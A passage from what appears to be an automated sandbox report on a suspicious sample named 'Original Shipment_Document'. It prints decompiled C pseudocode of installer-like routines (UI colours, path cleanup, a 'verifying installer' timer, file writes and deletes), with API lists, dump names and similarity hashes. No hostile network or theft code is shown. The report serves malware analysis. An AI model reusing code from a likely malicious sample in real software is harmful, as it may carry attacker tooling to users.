					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x004044dc
0x00404592
0x00000000
0x00404592
0x004044ed
0x004044f1
0x00000000
0x0040450b
0x0040450b
0x00404514
0x00000000
0x00000000
0x00404516
0x00404522
0x00404525
0x00404525
0x0040452b
0x00404531
0x00404531
0x0040453d
0x00404543
0x0040454a
0x0040454d
0x00404550
0x00404552
0x00404552
0x0040455a
0x00404560
0x00404560
0x0040456a
0x0040456f
0x00404572
0x00404577
0x0040457a
0x0040457a
0x0040458a
0x0040458a
0x00000000
0x0040458d

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004044E7
GetSysColor.USER32(00000000), ref: 00404525
SetTextColor.GDI32(?,00000000), ref: 00404531
SetBkMode.GDI32(?,?), ref: 0040453D
GetSysColor.USER32(?), ref: 00404550
SetBkColor.GDI32(?,?), ref: 00404560
DeleteObject.GDI32(?), ref: 0040457A
CreateBrushIndirect.GDI32(?), ref: 00404584

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction ID: 38e33b6b7dbb33234eb72a45dbf2bae34717d2ad5d3f2d744b20a042554d00e7
Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction Fuzzy Hash: 072133B1500704BBCB319F68DD08B5BBBF8AF45714F04896EEB96A26E1D734E904CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040678E Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040678E(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405E4D(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405E03(L"*?|<>/\":", _t5))) == 0) {
							E00405FB2(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00406790
0x00406799
0x004067b0
0x004067b0
0x004067b7
0x004067c3
0x004067c3
0x004067c6
0x004067c9
0x004067ce
0x004067d0
0x004067d9
0x004067dd
0x004067fa
0x00406802
0x00406802
0x00406807
0x00406809
0x0040680c
0x00406811
0x00406812
0x00406816
0x00406816
0x00406817
0x0040681e
0x00406820
0x00406827
0x00000000
0x00000000
0x0040682f
0x00406835
0x00000000
0x00000000
0x00000000
0x00406835
0x0040683a

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,777C3420,C:\Users\user\AppData\Local\Temp\,?,004034D2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 004067F1
CharNextW.USER32(?,?,?,00000000,?,004034D2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 00406800
CharNextW.USER32(?,00000000,777C3420,C:\Users\user\AppData\Local\Temp\,?,004034D2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 00406805
CharPrevW.USER32(?,?,777C3420,C:\Users\user\AppData\Local\Temp\,?,004034D2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 00406818

Strings

*?|<>/":, xrefs: 004067E0
C:\Users\user\AppData\Local\Temp\, xrefs: 0040678F

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2977677972
Opcode ID: 7f8a10c6574f84f045d99a2f2ba91d71661da1c9dbe2055a6f375f6d39957bd5
Instruction ID: 0f69a0116b7f1ba106e871a719c63b07a343e19011b313dcb24ddb0bfcf4baff
Opcode Fuzzy Hash: 7f8a10c6574f84f045d99a2f2ba91d71661da1c9dbe2055a6f375f6d39957bd5
Instruction Fuzzy Hash: CE11862A80161299D7303B149D40A7762FCEF98764F56843FE986732C0E77C4CD286BD

Uniqueness

Uniqueness Score: -1.00%

Function 00404E1E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E1E(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404e2c
0x00404e39
0x00404e3f
0x00404e7d
0x00404e7d
0x00404e8c
0x00404e93
0x00000000
0x00404e95
0x00404e41
0x00404e50
0x00404e58
0x00404e5b
0x00404e6d
0x00404e73
0x00404e7a
0x00000000
0x00404e7a
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404E39
GetMessagePos.USER32 ref: 00404E41
ScreenToClient.USER32(?,?), ref: 00404E5B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404E6D
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404E93

Strings

f, xrefs: 00404E6F

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 39da0b83e90955b658913b401ee9b713f1841a36fe6a8bad0240d4c742fa7cb5
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: E9018C72A0021DBADB00DBA4CD81FFEBBB8AF55710F10002BBA51B61C0C7B49A018BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00402F93 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x414eb8; // 0x52fa6
					_t11 =  *0x420ec4; // 0x536c0
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfW( &_v132, L"verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402fa3
0x00402fb1
0x00402fb7
0x00402fb7
0x00402fc5
0x00402fc7
0x00402fcd
0x00402fd4
0x00402fd6
0x00402fd6
0x00402fec
0x00402ffc
0x0040300e
0x0040300e
0x00403016

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
MulDiv.KERNEL32(00052FA6,00000064,000536C0), ref: 00402FDC
wsprintfW.USER32 ref: 00402FEC
SetWindowTextW.USER32(?,?), ref: 00402FFC
SetDlgItemTextW.USER32(?,00000406,?), ref: 0040300E

Strings

verifying installer: %d%%, xrefs: 00402FE6

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: b8c438f2cb2d4d4e81e5e052a7d6c8fe5fe1304565937caf9c710faa28001cd8
Instruction ID: 6e758109fa8cded6d2ea51641b68a6ee4e1df044416b280c1a6c4c5bd582b841
Opcode Fuzzy Hash: b8c438f2cb2d4d4e81e5e052a7d6c8fe5fe1304565937caf9c710faa28001cd8
Instruction Fuzzy Hash: B1014F7164020DABEF609F60DE4ABEA3B69FB00345F008039FA06B51D1DBB999559F58

Uniqueness

Uniqueness Score: -1.00%

Function 718D2655 Relevance: 9.1, APIs: 6, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E718D2655() {
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t27;
				signed int _t39;
				void* _t40;
				void* _t43;
				intOrPtr _t44;
				void* _t45;

				_t40 = E718D12BB();
				_t24 =  *((intOrPtr*)(_t45 + 0x18));
				_t44 =  *((intOrPtr*)(_t24 + 0x1014));
				_t43 = (_t44 + 0x81 << 5) + _t24;
				do {
					if( *((intOrPtr*)(_t43 - 4)) >= 0) {
					}
					_t39 =  *(_t43 - 8) & 0x000000ff;
					if(_t39 <= 7) {
						switch( *((intOrPtr*)(_t39 * 4 +  &M718D2784))) {
							case 0:
								 *_t40 = 0;
								goto L17;
							case 1:
								__eax =  *__eax;
								if(__ecx > __ebx) {
									 *(__esp + 0x10) = __ecx;
									__ecx =  *(0x718d407c + __edx * 4);
									__edx =  *(__esp + 0x10);
									__ecx = __ecx * __edx;
									asm("sbb edx, edx");
									__edx = __edx & __ecx;
									__eax = __eax &  *(0x718d409c + __edx * 4);
								}
								_push(__eax);
								goto L15;
							case 2:
								__eax = E718D1510(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L16;
							case 3:
								__ecx =  *0x718d506c;
								__edx = __ecx - 1;
								__eax = MultiByteToWideChar(__ebx, __ebx,  *__eax, __ecx, __edi, __edx);
								__eax =  *0x718d506c;
								 *((short*)(__edi + __eax * 2 - 2)) = __bx;
								goto L17;
							case 4:
								__eax = lstrcpynW(__edi,  *__eax,  *0x718d506c);
								goto L17;
							case 5:
								_push( *0x718d506c);
								_push(__edi);
								_push( *__eax);
								__imp__StringFromGUID2();
								goto L17;
							case 6:
								_push( *__esi);
								L15:
								__eax = wsprintfW(__edi, 0x718d5000);
								L16:
								__esp = __esp + 0xc;
								goto L17;
						}
					}
					L17:
					_t26 =  *(_t43 + 0x14);
					if(_t26 != 0 && ( *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x18)))) != 2 ||  *((intOrPtr*)(_t43 - 4)) > 0)) {
						GlobalFree(_t26);
					}
					_t27 =  *((intOrPtr*)(_t43 + 0xc));
					if(_t27 != 0) {
						if(_t27 != 0xffffffff) {
							if(_t27 > 0) {
								E718D1381(_t27 - 1, _t40);
								goto L26;
							}
						} else {
							E718D1312(_t40);
							L26:
						}
					}
					_t44 = _t44 - 1;
					_t43 = _t43 - 0x20;
				} while (_t44 >= 0);
				return GlobalFree(_t40);
			}

0x718d265f
0x718d2661
0x718d2665
0x718d2674
0x718d2678
0x718d267d
0x718d267d
0x718d2685
0x718d268c
0x718d2692
0x00000000
0x718d2699
0x00000000
0x00000000
0x718d26a1
0x718d26a5
0x718d26a8
0x718d26ac
0x718d26b3
0x718d26b7
0x718d26bd
0x718d26bf
0x718d26c1
0x718d26c1
0x718d26c8
0x00000000
0x00000000
0x718d26d1
0x00000000
0x00000000
0x718d26d8
0x718d26de
0x718d26e8
0x718d26ee
0x718d26f3
0x00000000
0x00000000
0x718d2714
0x00000000
0x00000000
0x718d26fa
0x718d2700
0x718d2701
0x718d2703
0x00000000
0x00000000
0x718d271c
0x718d271e
0x718d2724
0x718d272a
0x718d272a
0x00000000
0x00000000
0x718d2692
0x718d272d
0x718d272d
0x718d2732
0x718d2743
0x718d2743
0x718d2749
0x718d274e
0x718d2753
0x718d275f
0x718d2764
0x00000000
0x718d2769
0x718d2755
0x718d2756
0x718d276a
0x718d276a
0x718d2753
0x718d276b
0x718d276c
0x718d276f
0x718d2783

APIs

Part of subcall function 718D12BB: GlobalAlloc.KERNEL32(00000040,?,718D12DB,?,718D137F,00000019,718D11CA,-000000A0), ref: 718D12C5

GlobalFree.KERNEL32(?), ref: 718D2743
GlobalFree.KERNEL32(00000000), ref: 718D2778

Memory Dump Source

Source File: 00000001.00000002.185991106331.00000000718D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 718D0000, based on PE: true

Associated: 00000001.00000002.185991032622.00000000718D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991182881.00000000718D4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991257714.00000000718D6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_718d0000_Original Shipment_Document.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 8967e5608bccce2cd6d24ef62816c6030959bdd547552a13d1f1302659329386
Instruction ID: 2e02bd5456768b9da2396b798370f944e51c857c19e3397a5f8a2e90eff75493
Opcode Fuzzy Hash: 8967e5608bccce2cd6d24ef62816c6030959bdd547552a13d1f1302659329386
Instruction Fuzzy Hash: B631BC72608306EFC7268F65D984D2ABBB7EF8D3017298569F2C293660C73168098F61

Uniqueness

Uniqueness Score: -1.00%

Function 00402950 Relevance: 9.1, APIs: 6, Instructions: 91
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00402950(int __ebx, void* __eflags) {
				WCHAR* _t26;
				void* _t29;
				long _t37;
				int _t49;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;
				void* _t60;
				void* _t61;

				_t49 = __ebx;
				_t52 = 0xfffffd66;
				_t26 = E00402DA6(0xfffffff0);
				_t55 = _t26;
				 *(_t61 - 0x40) = _t26;
				if(E00405E4D(_t26) == 0) {
					E00402DA6(0xffffffed);
				}
				E00405FD2(_t55);
				_t29 = E00405FF7(_t55, 0x40000000, 2);
				 *(_t61 + 8) = _t29;
				if(_t29 != 0xffffffff) {
					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
					if( *(_t61 - 0x28) != _t49) {
						_t37 =  *0x42a234;
						 *(_t61 - 0x44) = _t37;
						_t54 = GlobalAlloc(0x40, _t37);
						if(_t54 != _t49) {
							E004034AF(_t49);
							E00403499(_t54,  *(_t61 - 0x44));
							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
							 *(_t61 - 0x10) = _t59;
							if(_t59 != _t49) {
								E004032B4( *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
								while( *_t59 != _t49) {
									_t60 = _t59 + 8;
									 *(_t61 - 0x3c) =  *_t59;
									E00405FB2( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
									_t59 = _t60 +  *(_t61 - 0x3c);
								}
								GlobalFree( *(_t61 - 0x10));
							}
							E004060A9( *(_t61 + 8), _t54,  *(_t61 - 0x44));
							GlobalFree(_t54);
							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
						}
					}
					_t52 = E004032B4( *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
					CloseHandle( *(_t61 + 8));
				}
				_t56 = 0xfffffff3;
				if(_t52 < _t49) {
					_t56 = 0xffffffef;
					DeleteFileW( *(_t61 - 0x40));
					 *((intOrPtr*)(_t61 - 4)) = 1;
				}
				_push(_t56);
				E00401423();
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t61 - 4));
				return 0;
			}

0x00402950
0x00402952
0x00402957
0x0040295c
0x0040295f
0x00402969
0x0040296d
0x0040296d
0x00402973
0x00402980
0x00402988
0x0040298b
0x00402997
0x0040299a
0x004029a0
0x004029ae
0x004029b3
0x004029b7
0x004029ba
0x004029c3
0x004029cf
0x004029d3
0x004029d6
0x004029e0
0x004029ff
0x004029ec
0x004029f4
0x004029f7
0x004029fc
0x004029fc
0x00402a06
0x00402a06
0x00402a13
0x00402a19
0x00402a1f
0x00402a1f
0x004029b7
0x00402a33
0x00402a35
0x00402a35
0x00402a3f
0x00402a40
0x00402a44
0x00402a48
0x00402a4e
0x00402a4e
0x00402a55
0x004022f1
0x00402c2d
0x00402c39

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
GlobalFree.KERNEL32(?), ref: 00402A06
GlobalFree.KERNEL32(00000000), ref: 00402A19
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A35
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 7b0c029b9c5e7e6b8388003f1156d4aabb8cb2de0a1768ee69b2a829e4763d50
Instruction ID: f067c9a989b14af8d706ebefa04c24d1529afff37e35bb6a261b9bb9a52bb1c4
Opcode Fuzzy Hash: 7b0c029b9c5e7e6b8388003f1156d4aabb8cb2de0a1768ee69b2a829e4763d50
Instruction Fuzzy Hash: 71318F71D01114BBCF216FA5CE49D9EBE79EF09364F14023AF550762E0CB794D429B98

Uniqueness

Uniqueness Score: -1.00%

Function 718D2480 Relevance: 7.6, APIs: 5, Instructions: 135
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E718D2480(void* __edx) {
				void* _t37;
				signed int _t38;
				void* _t39;
				void* _t41;
				signed char* _t42;
				signed char* _t51;
				void* _t52;
				void* _t54;

				 *(_t54 + 0x10) = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + 0x1014)) > 0x00000000;
				while(1) {
					_t9 =  *((intOrPtr*)(_t54 + 0x18)) + 0x1018; // 0x1018
					_t51 = ( *(_t54 + 0x10) << 5) + _t9;
					_t52 = _t51[0x18];
					if(_t52 == 0) {
						goto L9;
					}
					_t41 = 0x1a;
					if(_t52 == _t41) {
						goto L9;
					}
					if(_t52 != 0xffffffff) {
						if(_t52 <= 0 || _t52 > 0x19) {
							_t51[0x18] = _t41;
							goto L12;
						} else {
							_t37 = E718D135A(_t52 - 1);
							L10:
							goto L11;
						}
					} else {
						_t37 = E718D12E3();
						L11:
						_t52 = _t37;
						L12:
						_t13 =  &(_t51[8]); // 0x1020
						_t42 = _t13;
						if(_t51[4] >= 0) {
						}
						_t38 =  *_t51 & 0x000000ff;
						_t51[0x1c] = 0;
						if(_t38 > 7) {
							L27:
							_t39 = GlobalFree(_t52);
							if( *(_t54 + 0x10) == 0) {
								return _t39;
							}
							if( *(_t54 + 0x10) !=  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x18)) + 0x1014))) {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) + 1;
							} else {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t38 * 4 +  &M718D25F8))) {
								case 0:
									 *_t42 = 0;
									goto L27;
								case 1:
									__eax = E718D13B1(__ebp);
									goto L21;
								case 2:
									 *__edi = E718D13B1(__ebp);
									__edi[1] = __edx;
									goto L27;
								case 3:
									__eax = GlobalAlloc(0x40,  *0x718d506c);
									 *(__esi + 0x1c) = __eax;
									__edx = 0;
									 *__edi = __eax;
									__eax = WideCharToMultiByte(0, 0, __ebp,  *0x718d506c, __eax,  *0x718d506c, 0, 0);
									goto L27;
								case 4:
									__eax = E718D12CC(__ebp);
									 *(__esi + 0x1c) = __eax;
									L21:
									 *__edi = __eax;
									goto L27;
								case 5:
									__eax = GlobalAlloc(0x40, 0x10);
									_push(__eax);
									 *(__esi + 0x1c) = __eax;
									_push(__ebp);
									 *__edi = __eax;
									__imp__CLSIDFromString();
									goto L27;
								case 6:
									if( *__ebp != __cx) {
										__eax = E718D13B1(__ebp);
										 *__ebx = __eax;
									}
									goto L27;
								case 7:
									 *(__esi + 0x18) =  *(__esi + 0x18) - 1;
									( *(__esi + 0x18) - 1) *  *0x718d506c =  *0x718d5074 + ( *(__esi + 0x18) - 1) *  *0x718d506c * 2 + 0x18;
									 *__ebx =  *0x718d5074 + ( *(__esi + 0x18) - 1) *  *0x718d506c * 2 + 0x18;
									asm("cdq");
									__eax = E718D1510(__edx,  *0x718d5074 + ( *(__esi + 0x18) - 1) *  *0x718d506c * 2 + 0x18, __edx,  *0x718d5074 + ( *(__esi + 0x18) - 1) *  *0x718d506c * 2);
									goto L27;
							}
						}
					}
					L9:
					_t37 = E718D12CC(0x718d5044);
					goto L10;
				}
			}

0x718d2494
0x718d2498
0x718d24a3
0x718d24a3
0x718d24aa
0x718d24af
0x00000000
0x00000000
0x718d24b3
0x718d24b6
0x00000000
0x00000000
0x718d24bb
0x718d24c6
0x718d24d6
0x00000000
0x718d24cd
0x718d24cf
0x718d24e5
0x00000000
0x718d24e5
0x718d24bd
0x718d24bd
0x718d24e6
0x718d24e6
0x718d24e8
0x718d24ec
0x718d24ec
0x718d24ef
0x718d24ef
0x718d24f7
0x718d24ff
0x718d2502
0x718d25c1
0x718d25c2
0x718d25cd
0x718d25f7
0x718d25f7
0x718d25dd
0x718d25e9
0x718d25df
0x718d25df
0x718d25df
0x00000000
0x718d2508
0x718d2508
0x00000000
0x718d250f
0x00000000
0x00000000
0x718d2517
0x00000000
0x00000000
0x718d2525
0x718d2527
0x00000000
0x00000000
0x718d2548
0x718d254e
0x718d2551
0x718d2553
0x718d2563
0x00000000
0x00000000
0x718d2530
0x718d2535
0x718d2538
0x718d2539
0x00000000
0x00000000
0x718d256f
0x718d2575
0x718d2576
0x718d2579
0x718d257a
0x718d257c
0x00000000
0x00000000
0x718d2588
0x718d258b
0x718d2597
0x718d2599
0x00000000
0x00000000
0x718d25a5
0x718d25b1
0x718d25b4
0x718d25b6
0x718d25b9
0x00000000
0x00000000
0x718d2508
0x718d2502
0x718d24db
0x718d24e0
0x00000000
0x718d24e0

APIs

GlobalFree.KERNEL32(00000000), ref: 718D25C2

Part of subcall function 718D12CC: lstrcpynW.KERNEL32(00000000,?,718D137F,00000019,718D11CA,-000000A0), ref: 718D12DC

GlobalAlloc.KERNEL32(00000040), ref: 718D2548
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 718D2563

Memory Dump Source

Source File: 00000001.00000002.185991106331.00000000718D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 718D0000, based on PE: true

Associated: 00000001.00000002.185991032622.00000000718D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991182881.00000000718D4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991257714.00000000718D6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_718d0000_Original Shipment_Document.jbxd

Similarity

